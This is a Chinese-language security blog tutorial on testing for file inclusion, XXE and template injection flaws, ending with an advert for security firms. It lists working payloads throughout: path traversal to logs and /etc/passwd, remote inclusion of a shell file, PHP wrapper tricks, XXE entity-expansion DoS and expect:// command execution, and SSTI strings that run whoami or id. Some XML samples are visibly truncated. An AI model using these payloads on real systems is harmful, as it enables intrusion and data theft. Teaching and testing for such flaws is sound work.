滲透測試對檔案包含漏洞網站檢測

網站安全發表於2019-10-11

昨天給大家普及到了滲透測試中執行命令漏洞的檢測方法,今天抽出時間由我們Sine安全的滲透工程師來講下遇到檔案包含漏洞以及模板注入漏洞的檢測方法和防禦手段,本文僅參考給有授權滲透測試的正規安全檢測的客戶,讓更多的客戶瞭解到具體測試的內容,是如何進行全面的網站安全測試。

滲透測試對檔案包含漏洞網站檢測

3.8. 檔案包含

3.8.1. 基礎

常見的檔案包含漏洞的形式為 <?php include("inc/" . $_GET['file']); ?>

考慮常用的幾種包含方式為

  • 同目錄包含 file=.htaccess
  • 目錄遍歷 ?file=../../../../../../../../../var/lib/locate.db
  • 日誌注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日誌可以使用SSH日誌或者Web日誌等多種日誌來源測試

3.8.2. 繞過技巧

常見的應用在檔案包含之前,可能會呼叫函式對其進行判斷,一般有如下幾種繞過方式

3.8.2.1. url編碼繞過

如果WAF中是字串匹配,可以使用url多次編碼的方式可以繞過

3.8.2.2. 特殊字元繞過

  • 某些情況下,讀檔案支援使用Shell萬用字元,如 ? * 等
  • url中 使用 ? # 可能會影響include包含的結果
  • 某些情況下,unicode編碼不同但是字形相近的字元有同一個效果

3.8.2.3. %00截斷

幾乎是最常用的方法,條件是magic_quotes_gpc開啟,而且php版本小於5.3.4。

3.8.2.4. 長度截斷

Windows上的檔名長度和檔案路徑有關。具體關係為:從根目錄計算,檔案路徑長度最長為259個bytes。

msdn定義“`#define MAX_PATH 260“`,第260個字元為字串結尾的“`0“`

linux可以用getconf來判斷檔名長度限制和檔案路徑長度限制

獲取最長檔案路徑長度:getconf PATH_MAX /root 得到4096 獲取最長檔名:getconf NAME_MAX /root 得到255

那麼在長度有限的時候,`././././` (n個) 的形式就可以透過這個把路徑爆掉

在php程式碼包含中,這種繞過方式要求php版本 < php 5.2.8

3.8.2.5. 偽協議繞過

滲透測試對檔案包含漏洞網站檢測

遠端包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://域名/shell.txt

  • PHP INPUT: 把payload放在POST引數中作為包含的檔案,要求 allow_url_include=On ,payload為 ?file=php://input
  • : 使用偽協議讀取檔案,payload為 ?file=php://filter/convert.-encode/resource=index.php
  • DATA: 使用data偽協議讀取檔案,payload為 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基礎

XML 指可擴充套件標記語言(eXtensible Markup Language),是一種用於標記電子檔案使其具有結構性的標記語言,被設計用來傳輸和儲存資料。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。目前,XML檔案作為配置檔案(Spring、Struts2等)、文件結構說明檔案(PDF、RSS等)、圖片格式檔案(SVG header)應用比較廣泛。

3.9.2. XXE

當允許引用外部實體時,可透過構造惡意的XML內容,導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等後果。一般的XXE攻擊,只有在伺服器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取伺服器端檔案,但是也可以透過Blind XXE的方式實現攻擊。

3.9.3. 攻擊方式

3.9.3.1. 拒絕服務攻擊

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY a0 "dos" >

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">

]>

<data>&a2;</data>

若解析過程非常緩慢,則表示測試成功,目標站點可能有拒絕服務漏洞。具體攻擊可使用更多層的迭代或遞迴,也可引用巨大的外部實體,以實現攻擊的效果。

3.9.3.2. 檔案讀取

<?xml version="1.0"?>

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<data>&file;</data>

3.9.3.3. SSRF

<?xml version="1.0"?>

<!DOCTYPE data SYSTEM "" [

<!ELEMENT data (#ANY)>

]>

<data>4</data>

3.9.3.4. RCE

<?xml version="1.0"?>

<!DOCTYPE GVI [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

<catalog>

<core id="test101">

<deion>&xxe;</deion>

</core>

</catalog>

3.9.3.5. XInclude

<?xml version='1.0'?>

<data xmlns:xi=" href="/file.xml"></xi:incl

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 簡介

模板引擎用於使用動態資料呈現內容。此上下文資料通常由使用者控制並由模板進行格式化,以生成網頁、電子郵件等。模板引擎透過使用程式碼構造(如條件語句、迴圈等)處理上下文資料,允許在模板中使用強大的語言表示式,以呈現動態內容。如果攻擊者能夠控制要呈現的模板,則他們將能夠注入可暴露上下文資料,甚至在伺服器上執行任意命令的表示式。

3.10.2. 測試方法

  • 確定使用的引擎
  • 檢視引擎相關的文件,確定其安全機制以及自帶的函式和變數
  • 需找攻擊面,嘗試攻擊

3.10.3. 測試用例

  • 簡單的數學表示式,{{ 7+7 }} => 14
  • 字串表示式 {{ "ajin" }} => ajin
  • Ruby
  • <%= 7 * 7 %>
  • <%= File.open('/etc/passwd').read %>
  • Java
  • ${7*7}
  • Twig
  • {{7*7}}
  • Smarty
  • {php}echo `id`;{/php}
  • AngularJS
  • $eval('1+1')
  • Tornado
  • 引用模組 {% import module %}
  • => {% import os %}{{ os.popen("whoami").read() }}
  • Flask/Jinja2
  • {{ config.items() }}
  • {{''.__class__.__mro__[-1].__subclasses__()}}
  • Django
  • {{ request }}
  • {% debug %}
  • {% load module %}
  • {% include "x.html" %}
  • {% extends "x.html" %}

3.10.4. 目標

  • 建立物件
  • 檔案讀寫
  • 遠端檔案包含
  • 資訊洩漏 提權

3.10.5. 相關屬性

滲透測試對檔案包含漏洞網站檢測

3.10.5.1. __class__

python中的新式類(即顯示繼承object物件的類)都有一個屬性 __class__ 用於獲取當前例項對應的類,例如 "".__class__ 就可以獲取到字串例項對應的類

3.10.5.2. __mro__

python中類物件的 __mro__ 屬性會返回一個tuple物件,其中包含了當前類物件所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。

3.10.5.3. __globals__

儲存了函式所有的所有全域性變數,在利用中,可以使用 __init__ 獲取物件的函式,並透過 __globals__ 獲取 file os 等模組以進行下一步的利用

3.10.5.4. __subclasses__()

python的新式類都保留了它所有的子類的引用,__subclasses__() 這個方法返回了類的所有存活的子類的引用(是類物件引用,不是例項)。

因為python中的類都是繼承object的,所以只要呼叫object類物件的 __subclasses__() 方法就可以獲取想要的類的物件。這一節滲透測試講到的這些內容和繞過手法,如果對自己網站不太放心的話可以找專業的網站安全公司來處理解決,國內做的比較好的如Sinesafe,綠盟,啟明星辰等等。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2659454/,如需轉載,請註明出處,否則將追究法律責任。

相關文章